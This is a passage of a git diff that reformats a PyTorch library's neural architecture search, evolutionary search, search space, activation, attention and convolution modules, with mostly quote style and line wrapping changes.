complexity["flops"] + param_penalty = params / 1e7 flop_penalty = flops / 1e9 - + fitness = accuracy - 0.1 * param_penalty - 0.05 * flop_penalty - + return fitness, accuracy - + except Exception as e: print(f"Error evaluating architecture: {e}") return 0.0, 0.0 - - def _quick_evaluate(self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer) -> float: + + def _quick_evaluate( + self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer + ) -> float: model.train() - + num_batches = min(50, len(self.train_loader)) - + for epoch in range(self.epochs): for batch_idx, (inputs, targets) in enumerate(self.train_loader): if batch_idx >= num_batches: break - + inputs = inputs.to(self.device) targets = targets.to(self.device) - + optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() - + model.eval() correct = 0 total = 0 - + num_val_batches = min(20, len(self.val_loader)) - + with torch.no_grad(): for batch_idx, (inputs, targets) in enumerate(self.val_loader): if batch_idx >= num_val_batches: break - + inputs = inputs.to(self.device) targets = targets.to(self.device) - + outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() - + accuracy = 100.0 * correct / total if total > 0 else 0.0 return accuracy - - def _full_evaluate(self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer) -> float: + + def _full_evaluate( + self, model: nn.Module, criterion: nn.Module, optimizer: torch.optim.Optimizer + ) -> float: for epoch in range(self.epochs): model.train() - + for inputs, targets in self.train_loader: inputs = inputs.to(self.device) targets = targets.to(self.device) - + optimizer.zero_grad() outputs = model(inputs) loss = criterion(outputs, targets) loss.backward() optimizer.step() - + model.eval() correct = 0 total = 0 - + with torch.no_grad(): for inputs, targets in self.val_loader: inputs = inputs.to(self.device) targets = targets.to(self.device) - + outputs = model(inputs) _, predicted = outputs.max(1) total += targets.size(0) correct += predicted.eq(targets).sum().item() - + accuracy = 100.0 * correct / total if total > 0 else 0.0 return accuracy + class ProxyEvaluator: - def __init__(self, device: str = 'cuda'): + def __init__(self, device: str = "cuda"): self.device = device - - def evaluate(self, architecture: Architecture, search_space: SearchSpace) -> Tuple[float, float]: + + def evaluate( + self, architecture: Architecture, search_space: SearchSpace + ) -> Tuple[float, float]: model = search_space.build_model(architecture) model = model.to(self.device) - + complexity = search_space.estimate_complexity(architecture) - params = complexity['params'] - flops = complexity['flops'] - - num_layers = len([g for g in architecture.genome if g.get('type') != 'pooling']) - + params = complexity["params"] + flops = complexity["flops"] + + num_layers = len([g for g in architecture.genome if g.get("type") != "pooling"]) + estimated_accuracy = 60.0 + torch.rand(1).item() * 20.0 estimated_accuracy = min(95.0, estimated_accuracy - params / 1e8) - + fitness = estimated_accuracy - 0.1 * (params / 1e7) - 0.05 * (flops / 1e9) - - return fitness, estimated_accuracy \ No newline at end of file + + return fitness, estimated_accuracy diff --git a/ML/src/python/neuralforge/nas/evolution.py b/ML/src/python/neuralforge/nas/evolution.py index b46ff03703b..694995fecad 100644 --- a/ML/src/python/neuralforge/nas/evolution.py +++ b/ML/src/python/neuralforge/nas/evolution.py @@ -6,6 +6,7 @@ from .search_space import SearchSpace, Architecture from .evaluator import ModelEvaluator + class EvolutionarySearch: def __init__( self, @@ -15,7 +16,7 @@ def __init__( generations: int = 50, mutation_rate: float = 0.1, crossover_rate: float = 0.5, - tournament_size: int = 3 + tournament_size: int = 3, ): self.search_space = search_space self.evaluator = evaluator @@ -24,106 +25,111 @@ def __init__( self.mutation_rate = mutation_rate self.crossover_rate = crossover_rate self.tournament_size = tournament_size - + self.population = [] self.best_architecture = None self.history = [] - + def initialize_population(self): print(f"Initializing population of {self.population_size} architectures...") self.population = [] - + for i in range(self.population_size): arch = self.search_space.random_architecture() self.population.append(arch) - + print("Population initialized successfully") - + def evaluate_population(self): print("Evaluating population...") - + for arch in tqdm(self.population, desc="Evaluating architectures"): if arch.fitness == 0.0: fitness, accuracy = self.evaluator.evaluate(arch, self.search_space) arch.fitness = fitness arch.accuracy = accuracy - + complexity = self.search_space.estimate_complexity(arch) - arch.params = complexity['params'] - arch.flops = complexity['flops'] - + arch.params = complexity["params"] + arch.flops = complexity["flops"] + def tournament_selection(self) -> Architecture: tournament = random.sample(self.population, self.tournament_size) return max(tournament, key=lambda x: x.fitness) - + def select_parents(self) -> List[Architecture]: parent1 = self.tournament_selection() parent2 = self.tournament_selection() return [parent1, parent2] - + def create_offspring(self, parents: List[Architecture]) -> Architecture: if random.random() < self.crossover_rate: offspring = self.search_space.crossover(parents[0], parents[1]) else: offspring = Architecture(parents[0].genome.copy()) - + if random.random() < self.mutation_rate: offspring = self.search_space.mutate(offspring, self.mutation_rate) - + return offspring - + def evolve_generation(self): self.population.sort(key=lambda x: x.fitness, reverse=True) - + elite_size = max(1, self.population_size // 10) new_population = self.population[:elite_size] - + while len(new_population) < self.population_size: parents = self.select_parents() offspring = self.create_offspring(parents) new_population.append(offspring) - + self.population = new_population - + def search(self) -> Architecture: print(f"Starting evolutionary search for {self.generations} generations...") - + self.initialize_population() self.evaluate_population() - + for generation in range(self.generations): print(f"\n=== Generation {generation + 1}/{self.generations} ===") - + self.population.sort(key=lambda x: x.fitness, reverse=True) best_arch = self.population[0] - - if self.best_architecture is None or best_arch.fitness > self.best_architecture.fitness: + + if ( + self.best_architecture is None + or best_arch.fitness > self.best_architecture.fitness + ): self.best_architecture = best_arch - + avg_fitness = np.mean([arch.fitness for arch in self.population]) avg_accuracy = np.mean([arch.accuracy for arch in self.population]) - + print(f"Best fitness: {best_arch.fitness:.4f}") print(f"Best accuracy: {best_arch.accuracy:.2f}%") print(f"Avg fitness: {avg_fitness:.4f}") print(f"Avg accuracy: {avg_accuracy:.2f}%") print(f"Best params: {best_arch.params:,}") - - self.history.append({ - 'generation': generation + 1, - 'best_fitness': best_arch.fitness, - 'best_accuracy': best_arch.accuracy, - 'avg_fitness': avg_fitness, - 'avg_accuracy': avg_accuracy, - }) - + + self.history.append( + { + "generation": generation + 1, + "best_fitness": best_arch.fitness, + "best_accuracy": best_arch.accuracy, + "avg_fitness": avg_fitness, + "avg_accuracy": avg_accuracy, + } + ) + if generation < self.generations - 1: self.evolve_generation() self.evaluate_population() - + print(f"\nSearch completed! Best architecture: {self.best_architecture}") return self.best_architecture - + def get_top_k_architectures(self, k: int = 5) -> List[Architecture]: self.population.sort(key=lambda x: x.fitness, reverse=True) - return self.population[:k] \ No newline at end of file + return self.population[:k] diff --git a/ML/src/python/neuralforge/nas/search_space.py b/ML/src/python/neuralforge/nas/search_space.py index 1a6fac8136e..c00f30fb672 100644 --- a/ML/src/python/neuralforge/nas/search_space.py +++ b/ML/src/python/neuralforge/nas/search_space.py @@ -4,6 +4,7 @@ import random import numpy as np + class Architecture: def __init__(self, genome: List[int]): self.genome = genome @@ -11,73 +12,100 @@ def __init__(self, genome: List[int]): self.accuracy = 0.0 self.params = 0 self.flops = 0 - + def __repr__(self): return f"Architecture(fitness={self.fitness:.4f}, acc={self.accuracy:.2f}%, params={self.params})" + class SearchSpace: def __init__(self, config: Dict[str, Any]): self.config = config - - self.layer_types = ['conv3x3', 'conv5x5', 'conv7x7', 'depthwise', 'bottleneck', 'identity'] - self.activation_types = ['relu', 'gelu', 'silu', 'mish'] - self.pooling_types = ['max', 'avg', 'none'] + + self.layer_types = [ + "conv3x3", + "conv5x5", + "conv7x7", + "depthwise", + "bottleneck", + "identity", + ] + self.activation_types = ["relu", "gelu", "silu", "mish"] + self.pooling_types = ["max", "avg", "none"] self.channels = [32, 64, 128, 256, 512] - - self.num_layers = config.get('num_layers', 20) - self.num_blocks = config.get('num_blocks', 5) - + + self.num_layers = config.get("num_layers", 20) + self.num_blocks = config.get("num_blocks", 5) + def random_architecture(self) -> Architecture: genome = [] - + for block_idx in range(self.num_blocks): num_layers_in_block = random.randint(2, 5) - + for layer_idx in range(num_layers_in_block): layer_gene = { - 'type': random.choice(self.layer_types), - 'channels': random.choice(self.channels), - 'activation': random.choice(self.activation_types), - 'use_bn': random.choice([True, False]), - 'dropout': random.uniform(0.0, 0.3), + "type": random.choice(self.layer_types), + "channels": random.choice(self.channels), + "activation": random.choice(self.activation_types), + "use_bn": random.choice([True, False]), + "dropout": random.uniform(0.0, 0.3), } genome.append(layer_gene) - + pooling_gene = { - 'type': 'pooling', - 'pooling_type': random.choice(self.pooling_types), + "type": "pooling", + "pooling_type": random.choice(self.pooling_types), } genome.append(pooling_gene) - + return Architecture(genome) - - def build_model(self, architecture: Architecture, input_channels: int = 3, num_classes: int = 1000) -> nn.Module: + + def build_model( + self, + architecture: Architecture, + input_channels: int = 3, + num_classes: int = 1000, + ) -> nn.Module: layers = [] current_channels = input_channels - + for gene in architecture.genome: - if gene.get('type') == 'pooling': - if gene['pooling_type'] == 'max': + if gene.get("type") == "pooling": + if gene["pooling_type"] == "max": layers.append(nn.MaxPool2d(2)) - elif gene['pooling_type'] == 'avg': + elif gene["pooling_type"] == "avg": layers.append(nn.AvgPool2d(2)) else: - layer_type = gene['type'] - out_channels = gene['channels'] - activation = gene['activation'] - use_bn = gene['use_bn'] - dropout = gene['dropout'] - - if layer_type == 'conv3x3': - layers.append(nn.Conv2d(current_channels, out_channels, 3, padding=1)) - elif layer_type == 'conv5x5': - layers.append(nn.Conv2d(current_channels, out_channels, 5, padding=2)) - elif layer_type == 'conv7x7': - layers.append(nn.Conv2d(current_channels, out_channels, 7, padding=3)) - elif layer_type == 'depthwise': - layers.append(nn.Conv2d(current_channels, current_channels, 3, padding=1, groups=current_channels)) + layer_type = gene["type"] + out_channels = gene["channels"] + activation = gene["activation"] + use_bn = gene["use_bn"] + dropout = gene["dropout"] + + if layer_type == "conv3x3": + layers.append( + nn.Conv2d(current_channels, out_channels, 3, padding=1) + ) + elif layer_type == "conv5x5": + layers.append( + nn.Conv2d(current_channels, out_channels, 5, padding=2) + ) + elif layer_type == "conv7x7": + layers.append( + nn.Conv2d(current_channels, out_channels, 7, padding=3) + ) + elif layer_type == "depthwise": + layers.append( + nn.Conv2d( + current_channels, + current_channels, + 3, + padding=1, + groups=current_channels, + ) + ) layers.append(nn.Conv2d(current_channels, out_channels, 1)) - elif layer_type == 'bottleneck': + elif layer_type == "bottleneck": mid_channels = out_channels // 4 layers.append(nn.Conv2d(current_channels, mid_channels, 1)) if use_bn: @@ -88,94 +116,115 @@ def build_model(self, architecture: Architecture, input_channels: int = 3, num_c layers.append(nn.BatchNorm2d(mid_channels)) layers.append(self._get_activation(activation)) layers.append(nn.Conv2d(mid_channels, out_channels, 1)) - elif layer_type == 'identity': + elif layer_type == "identity": if current_channels != out_channels: layers.append(nn.Conv2d(current_channels, out_channels, 1)) else: layers.append(nn.Identity()) - - if use_bn and layer_type != 'bottleneck': + + if use_bn and layer_type != "bottleneck": layers.append(nn.BatchNorm2d(out_channels)) - - if layer_type != 'bottleneck': + + if layer_type != "bottleneck": layers.append(self._get_activation(activation)) - + if dropout > 0: layers.append(nn.Dropout2d(dropout)) - + current_channels = out_channels - + layers.append(nn.AdaptiveAvgPool2d(1)) layers.append(nn.Flatten()) layers.append(nn.Linear(current_channels, num_classes)) - + model = nn.Sequential(*layers) return model - + def _get_activation(self, activation: str) -> nn.Module: - if activation == 'relu': + if activation == "relu": return nn.ReLU(inplace=True) - elif activation == 'gelu': + elif activation == "gelu": return nn.GELU() - elif activation == 'silu': + elif activation == "silu": return nn.SiLU(inplace=True) - elif activation == 'mish': + elif activation == "mish": return nn.Mish(inplace=True) else: return nn.ReLU(inplace=True) - - def mutate(self, architecture: Architecture, mutation_rate: float = 0.1) -> Architecture: + + def mutate( + self, architecture: Architecture, mutation_rate: float = 0.1 + ) -> Architecture: new_genome = [] - + for gene in architecture.genome: if random.random() < mutation_rate: - if gene.get('type') == 'pooling': + if gene.get("type") == "pooling": gene = gene.copy() - gene['pooling_type'] = random.choice(self.pooling_types) + gene["pooling_type"] = random.choice(self.pooling_types) else: gene = gene.copy() - gene['type'] = random.choice(self.layer_types) - gene['channels'] = random.choice(self.channels) - gene['activation'] = random.choice(self.activation_types) - + gene["type"] = random.choice(self.layer_types) + gene["channels"] = random.choice(self.channels) + gene["activation"] = random.choice(self.activation_types) + new_genome.append(gene) - + return Architecture(new_genome) - + def crossover(self, parent1: Architecture, parent2: Architecture) -> Architecture: min_len = min(len(parent1.genome), len(parent2.genome)) crossover_point = random.randint(1, min_len - 1) - - child_genome = parent1.genome[:crossover_point] + parent2.genome[crossover_point:] - + + child_genome = ( + parent1.genome[:crossover_point] + parent2.genome[crossover_point:] + ) + return Architecture(child_genome) - - def estimate_complexity(self, architecture: Architecture, input_size: int = 224) -> Dict[str, float]: + + def estimate_complexity( + self, architecture: Architecture, input_size: int = 224 + ) -> Dict[str, float]: total_params = 0 total_flops = 0 current_channels = 3 current_size = input_size - + for gene in architecture.genome: - if gene.get('type') == 'pooling': + if gene.get("type") == "pooling": current_size = current_size // 2 else: - out_channels = gene['channels'] - - if gene['type'] in ['conv3x3', 'conv5x5', 'conv7x7']: - kernel_size = int(gene['type'][-3]) + out_channels = gene["channels"] + + if gene["type"] in ["conv3x3", "conv5x5", "conv7x7"]: + kernel_size = int(gene["type"][-3]) params = current_channels * out_channels * kernel_size * kernel_size flops = params * current_size * current_size - elif gene['type'] == 'depthwise': + elif gene["type"] == "depthwise": params = current_channels * 9 + current_channels * out_channels - flops = current_channels * 9 * current_size * current_size + current_channels * out_channels * current_size * current_size - elif gene['type'] == 'bottleneck': + flops = ( + current_channels * 9 * current_size * current_size + + current_channels * out_channels * current_size * current_size + ) + elif gene["type"] == "bottleneck": mid_channels = out_channels // 4 - params = current_channels * mid_channels + mid_channels * 9 + mid_channels * out_channels - flops = (current_channels * mid_channels + mid_channels * 9 + mid_channels * out_channels) * current_size * current_size - + params = ( + current_channels * mid_channels + + mid_channels * 9 + + mid_channels * out_channels + ) + flops = ( + ( + current_channels * mid_channels + + mid_channels * 9 + + mid_channels * out_channels + ) + * current_size + * current_size + ) + total_params += params total_flops += flops current_channels = out_channels - - return {'params': total_params, 'flops': total_flops} \ No newline at end of file + + return {"params": total_params, "flops": total_flops} diff --git a/ML/src/python/neuralforge/nn/__init__.py b/ML/src/python/neuralforge/nn/__init__.py index c7bc6859afc..0093805bd01 100644 --- a/ML/src/python/neuralforge/nn/__init__.py +++ b/ML/src/python/neuralforge/nn/__init__.py @@ -5,14 +5,14 @@ from .activations import * __all__ = [ - 'TransformerBlock', - 'MultiHeadAttention', - 'FeedForward', - 'ResNetBlock', - 'DenseBlock', - 'ConvBlock', - 'SEBlock', - 'GELU', - 'Swish', - 'Mish', + "TransformerBlock", + "MultiHeadAttention", + "FeedForward", + "ResNetBlock", + "DenseBlock", + "ConvBlock", + "SEBlock", + "GELU", + "Swish", + "Mish", ] diff --git a/ML/src/python/neuralforge/nn/activations.py b/ML/src/python/neuralforge/nn/activations.py index 0a36438da5c..6869bda6a19 100644 --- a/ML/src/python/neuralforge/nn/activations.py +++ b/ML/src/python/neuralforge/nn/activations.py @@ -2,121 +2,142 @@ import torch.nn as nn import torch.nn.functional as F + class GELU(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): - return 0.5 * x * (1.0 + torch.tanh(0.7978845608 * (x + 0.044715 * torch.pow(x, 3)))) + return ( + 0.5 + * x + * (1.0 + torch.tanh(0.7978845608 * (x + 0.044715 * torch.pow(x, 3)))) + ) + class Swish(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x * torch.sigmoid(x) + class Mish(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x * torch.tanh(F.softplus(x)) + class HardSwish(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x * F.hardtanh(x + 3, 0.0, 6.0) / 6.0 + class HardSigmoid(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return F.relu6(x + 3.0) / 6.0 + class FReLU(nn.Module): def __init__(self, channels, kernel_size=3): super().__init__() - self.conv = nn.Conv2d(channels, channels, kernel_size, padding=kernel_size // 2, groups=channels) + self.conv = nn.Conv2d( + channels, channels, kernel_size, padding=kernel_size // 2, groups=channels + ) self.bn = nn.BatchNorm2d(channels) - + def forward(self, x): tx = self.bn(self.conv(x)) return torch.max(x, tx) + class GLU(nn.Module): def __init__(self, dim=-1): super().__init__() self.dim = dim - + def forward(self, x): a, b = x.chunk(2, dim=self.dim) return a * torch.sigmoid(b) + class ReGLU(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): a, b = x.chunk(2, dim=-1) return a * F.relu(b) + class GEGLU(nn.Module): def __init__(self): super().__init__() self.gelu = GELU() - + def forward(self, x): a, b = x.chunk(2, dim=-1) return a * self.gelu(b) + class SiLU(nn.Module): def __init__(self): super().__init__() - + def forward(self, x): return x * torch.sigmoid(x) + class ELU(nn.Module): def __init__(self, alpha=1.0): super().__init__() self.alpha = alpha - + def forward(self, x): return torch.where(x > 0, x, self.alpha * (torch.exp(x) - 1)) + class SELU(nn.Module): def __init__(self): super().__init__() self.alpha = 1.6732632423543772848170429916717 self.scale = 1.0507009873554804934193349852946 - + def forward(self, x): return self.scale * torch.where(x > 0, x, self.alpha * (torch.exp(x) - 1)) + class PReLU(nn.Module): def __init__(self, num_parameters=1, init=0.25): super().__init__() self.weight = nn.Parameter(torch.ones(num_parameters) * init) - + def forward(self, x): return torch.where(x > 0, x, self.weight * x) + class LeakyReLU(nn.Module): def __init__(self, negative_slope=0.01): super().__init__() self.negative_slope = negative_slope - + def forward(self, x): return F.leaky_relu(x, self.negative_slope) + class Softplus(nn.Module): def __init__(self, beta=1): super().__init__() self.beta = beta - + def forward(self, x): return F.softplus(x, self.beta) diff --git a/ML/src/python/neuralforge/nn/attention.py b/ML/src/python/neuralforge/nn/attention.py index 47fb9cd8db6..d2a70ebb65c 100644 --- a/ML/src/python/neuralforge/nn/attention.py +++ b/ML/src/python/neuralforge/nn/attention.py @@ -4,91 +4,110 @@ import math from typing import Optional + class MultiHeadAttention(nn.Module): def __init__(self, embed_dim, num_heads, dropout=0.1, bias=True): super().__init__() assert embed_dim % num_heads == 0 - + self.embed_dim = embed_dim self.num_heads = num_heads self.head_dim = embed_dim // num_heads - self.scale = self.head_dim ** -0.5 - + self.scale = self.head_dim**-0.5 + self.qkv = nn.Linear(embed_dim, embed_dim * 3, bias=bias) self.proj = nn.Linear(embed_dim, embed_dim, bias=bias) self.dropout = nn.Dropout(dropout) - + def forward(self, x, mask=None): B, N, C = x.shape - - qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4) + + qkv = ( + self.qkv(x) + .reshape(B, N, 3, self.num_heads, self.head_dim) + .permute(2, 0, 3, 1, 4) + ) q, k, v = qkv[0], qkv[1], qkv[2] - + attn = (q @ k.transpose(-2, -1)) * self.scale - + if mask is not None: - attn = attn.masked_fill(mask == 0, float('-inf')) - + attn = attn.masked_fill(mask == 0, float("-inf")) + attn = F.softmax(attn, dim=-1) attn = self.dropout(attn) - + x = (attn @ v).transpose(1, 2).reshape(B, N, C) x = self.proj(x) x = self.dropout(x) - + return x + class CrossAttention(nn.Module): def __init__(self, embed_dim, num_heads, dropout=0.1): super().__init__() self.embed_dim = embed_dim self.num_heads = num_heads self.head_dim = embed_dim // num_heads - self.scale = self.head_dim ** -0.5 - + self.scale = self.head_dim**-0.5 + self.q_proj = nn.Linear(embed_dim, embed_dim) self.k_proj = nn.Linear(embed_dim, embed_dim) self.v_proj = nn.Linear(embed_dim, embed_dim) self.out_proj = nn.Linear(embed_dim, embed_dim) self.dropout = nn.Dropout(dropout) - + def forward(self, query, key, value, mask=None): B, N_q, C = query.shape N_k = key.shape[1] - - q = self.q_proj(query).reshape(B, N_q, self.num_heads, self.head_dim).permute(0, 2, 1, 3) - k = self.k_proj(key).reshape(B, N_k, self.num_heads, self.head_dim).permute(0, 2, 1, 3) - v = self.v_proj(value).reshape(B, N_k, self.num_heads, self.head_dim).permute(0, 2, 1, 3) - + + q = ( + self.q_proj(query) + .reshape(B, N_q, self.num_heads, self.head_dim) + .permute(0, 2, 1, 3) + ) + k = ( + self.k_proj(key) + .reshape(B, N_k, self.num_heads, self.head_dim) + .permute(0, 2, 1, 3) + ) + v = ( + self.v_proj(value) + .reshape(B, N_k, self.num_heads, self.head_dim) + .permute(0, 2, 1, 3) + ) + attn = (q @ k.transpose(-2, -1)) * self.scale - + if mask is not None: - attn = attn.masked_fill(mask == 0, float('-inf')) - + attn = attn.masked_fill(mask == 0, float("-inf")) + attn = F.softmax(attn, dim=-1) attn = self.dropout(attn) - + x = (attn @ v).transpose(1, 2).reshape(B, N_q, C) x = self.out_proj(x) - + return x + class FeedForward(nn.Module): - def __init__(self, embed_dim, hidden_dim, dropout=0.1, activation='gelu'): + def __init__(self, embed_dim, hidden_dim, dropout=0.1, activation="gelu"): super().__init__() self.fc1 = nn.Linear(embed_dim, hidden_dim) self.fc2 = nn.Linear(hidden_dim, embed_dim) self.dropout = nn.Dropout(dropout) - - if activation == 'gelu': + + if activation == "gelu": self.activation = nn.GELU() - elif activation == 'relu': + elif activation == "relu": self.activation = nn.ReLU() - elif activation == 'silu': + elif activation == "silu": self.activation = nn.SiLU() else: self.activation = nn.GELU() - + def forward(self, x): x = self.fc1(x) x = self.activation(x) @@ -97,6 +116,7 @@ def forward(self, x): x = self.dropout(x) return x + class TransformerBlock(nn.Module): def __init__(self, embed_dim, num_heads, mlp_ratio=4.0, dropout=0.1, drop_path=0.0): super().__init__() @@ -104,62 +124,81 @@ def __init__(self, embed_dim, num_heads, mlp_ratio=4.0, dropout=0.1, drop_path=0 self.attn = MultiHeadAttention(embed_dim, num_heads, dropout) self.norm2 = nn.LayerNorm(embed_dim) self.mlp = FeedForward(embed_dim, int(embed_dim * mlp_ratio), dropout) - + from .modules import DropPath + self.drop_path = DropPath(drop_path) if drop_path > 0.0 else nn.Identity() - + def forward(self, x, mask=None): x = x + self.drop_path(self.attn(self.norm1(x), mask)) x = x + self.drop_path(self.mlp(self.norm2(x))) return x + class TransformerEncoder(nn.Module): def __init__(self, embed_dim, num_heads, num_layers, mlp_ratio=4.0, dropout=0.1): super().__init__() - self.layers = nn.ModuleList([ - TransformerBlock(embed_dim, num_heads, mlp_ratio, dropout) - for _ in range(num_layers) - ]) + self.layers = nn.ModuleList( + [ + TransformerBlock(embed_dim, num_heads, mlp_ratio, dropout) + for _ in range(num_layers) + ] + ) self.norm = nn.LayerNorm(embed_dim) - + def forward(self, x, mask=None): for layer in self.layers: x = layer(x, mask) return self.norm(x) + class VisionTransformerBlock(nn.Module): - def __init__(self, img_size=224, patch_size=16, in_channels=3, embed_dim=768, - num_heads=12, num_layers=12, num_classes=1000, dropout=0.1): + def __init__( + self, + img_size=224, + patch_size=16, + in_channels=3, + embed_dim=768, + num_heads=12, + num_layers=12, + num_classes=1000, + dropout=0.1, + ): super().__init__() self.patch_size = patch_size self.num_patches = (img_size // patch_size) ** 2 - - self.patch_embed = nn.Conv2d(in_channels, embed_dim, kernel_size=patch_size, stride=patch_size) + + self.patch_embed = nn.Conv2d( + in_channels, embed_dim, kernel_size=patch_size, stride=patch_size + ) self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim)) self.pos_embed = nn.Parameter(torch.zeros(1, self.num_patches + 1, embed_dim)) self.dropout = nn.Dropout(dropout) - - self.encoder = TransformerEncoder(embed_dim, num_heads, num_layers, dropout=dropout) + + self.encoder = TransformerEncoder( + embed_dim, num_heads, num_layers, dropout=dropout + ) self.head = nn.Linear(embed_dim, num_classes) - + nn.init.trunc_normal_(self.pos_embed, std=0.02) nn.init.trunc_normal_(self.cls_token, std=0.02) - + def forward(self, x): B = x.shape[0] x = self.patch_embed(x).flatten(2).transpose(1, 2) - + cls_tokens = self.cls_token.expand(B, -1, -1) x = torch.cat([cls_tokens, x], dim=1) x = x + self.pos_embed x = self.dropout(x) - + x = self.encoder(x) x = x[:, 0] x = self.head(x) - + return x + class SelfAttention2D(nn.Module): def __init__(self, in_channels): super().__init__() @@ -167,20 +206,21 @@ def __init__(self, in_channels): self.key = nn.Conv2d(in_channels, in_channels // 8, 1) self.value = nn.Conv2d(in_channels, in_channels, 1) self.gamma = nn.Parameter(torch.zeros(1)) - + def forward(self, x): B, C, H, W = x.size() - + query = self.query(x).view(B, -1, H * W).permute(0, 2, 1) key = self.key(x).view(B, -1, H * W) value = self.value(x).view(B, -1, H * W) - + attention = F.softmax(torch.bmm(query, key), dim=-1) out = torch.bmm(value, attention.permute(0, 2, 1)) out = out.view(B, C, H, W) - + return self.gamma * out + x + class LocalAttention(nn.Module): def __init__(self, embed_dim, window_size=7, num_heads=8): super().__init__() @@ -188,20 +228,24 @@ def __init__(self, embed_dim, window_size=7, num_heads=8): self.window_size = window_size self.num_heads = num_heads self.head_dim = embed_dim // num_heads - self.scale = self.head_dim ** -0.5 - + self.scale = self.head_dim**-0.5 + self.qkv = nn.Linear(embed_dim, embed_dim * 3) self.proj = nn.Linear(embed_dim, embed_dim) - + def forward(self, x): B, N, C = x.shape - qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, self.head_dim).permute(2, 0, 3, 1, 4) + qkv = ( + self.qkv(x) + .reshape(B, N, 3, self.num_heads, self.head_dim) + .permute(2, 0, 3, 1, 4) + ) q, k, v = qkv[0], qkv[1], qkv[2] - + attn = (q @ k.transpose(-2, -1)) * self.scale attn = F.softmax(attn, dim=-1) - + x = (attn @ v).transpose(1, 2).reshape(B, N, C) x = self.proj(x) - + return x diff --git a/ML/src/python/neuralforge/nn/convolution.py b/ML/src/python/neuralforge/nn/convolution.py index f0755ba5bdd..e81ce36a50f 100644 --- a/ML/src/python/neuralforge/nn/convolution.py +++ b/ML/src/python/neuralforge/nn/convolution.py @@ -3,145 +3,182 @@ import torch.nn.functional as F from typing import List, Optional + class ResNetBlock(nn.Module): def __init__(self, in_channels, out_channels, stride=1, downsample=None): super().__init__() - self.conv1 = nn.Conv2d(in_channels, out_channels, kernel_size=3, stride=stride, padding=1, bias=False) + self.conv1 = nn.Conv2d( + in_channels, + out_channels, + kernel_size=3, + stride=stride, + padding=1, + bias=False, + ) self.bn1 = nn.BatchNorm2d(out_channels) self.relu = nn.ReLU(inplace=True) - self.conv2 = nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False) + self.conv2 = nn.Conv2d( + out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False + ) self.bn2 = nn.BatchNorm2d(out_channels) self.downsample = downsample - + def forward(self, x): identity = x - + out = self.conv1(x) out = self.bn1(out) out = self.relu(out) - + out = self.conv2(out) out = self.bn2(out) - + if self.downsample is not None: identity = self.downsample(x) - + out += identity out = self.relu(out) - + return out + class ResNet(nn.Module): def __init__(self, block, layers, num_classes=1000, in_channels=3): super().__init__() self.in_channels = 64 - - self.conv1 = nn.Conv2d(in_channels, 64, kernel_size=7, stride=2, padding=3, bias=False) + + self.conv1 = nn.Conv2d( + in_channels, 64, kernel_size=7, stride=2, padding=3, bias=False + ) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) - + self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], stride=2) self.layer3 = self._make_layer(block, 256, layers[2], stride=2) self.layer4 = self._make_layer(block, 512, layers[3], stride=2) - + self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) self.fc = nn.Linear(512, num_classes) - + def _make_layer(self, block, out_channels, blocks, stride=1): downsample = None if stride != 1 or self.in_channels != out_channels: downsample = nn.Sequential( - nn.Conv2d(self.in_channels, out_channels, kernel_size=1, stride=stride, bias=False), - nn.BatchNorm2d(out_channels) + nn.Conv2d( + self.in_channels, + out_channels, + kernel_size=1, + stride=stride, + bias=False, + ), + nn.BatchNorm2d(out_channels), ) - + layers = [] layers.append(block(self.in_channels, out_channels, stride, downsample)) self.in_channels = out_channels - + for _ in range(1, blocks): layers.append(block(out_channels, out_channels)) - + return nn.Sequential(*layers) - + def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) - + x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) - + x = self.avgpool(x) x = torch.flatten(x, 1) x = self.fc(x) - + return x + class EfficientNetBlock(nn.Module): - def __init__(self, in_channels, out_channels, kernel_size, stride, expand_ratio, se_ratio=0.25): + def __init__( + self, + in_channels, + out_channels, + kernel_size, + stride, + expand_ratio, + se_ratio=0.25, + ): super().__init__() self.stride = stride - self.use_residual = (stride == 1 and in_channels == out_channels) - + self.use_residual = stride == 1 and in_channels == out_channels + hidden_dim = in_channels * expand_ratio self.use_expansion = expand_ratio != 1 - + if self.use_expansion: self.expand_conv = nn.Sequential( nn.Conv2d(in_channels, hidden_dim, 1, bias=False), nn.BatchNorm2d(hidden_dim), - nn.SiLU(inplace=True) + nn.SiLU(inplace=True), ) - + self.depthwise_conv = nn.Sequential( - nn.Conv2d(hidden_dim, hidden_dim, kernel_size, stride, kernel_size // 2, groups=hidden_dim, bias=False), + nn.Conv2d( + hidden_dim, + hidden_dim, + kernel_size, + stride, + kernel_size // 2, + groups=hidden_dim, + bias=False, + ), nn.BatchNorm2d(hidden_dim), - nn.SiLU(inplace=True) + nn.SiLU(inplace=True), ) - + se_channels = max(1, int(in_channels * se_ratio)) self.se = nn.Sequential( nn.AdaptiveAvgPool2d(1), nn.Conv2d(hidden_dim, se_channels, 1), nn.SiLU(inplace=True), nn.Conv2d(se_channels, hidden_dim, 1), - nn.Sigmoid() + nn.Sigmoid(), ) - + self.project_conv = nn.Sequential( nn.Conv2d(hidden_dim, out_channels, 1, bias=False), - nn.BatchNorm2d(out_channels) + nn.BatchNorm2d(out_channels), ) - + def forward(self, x): 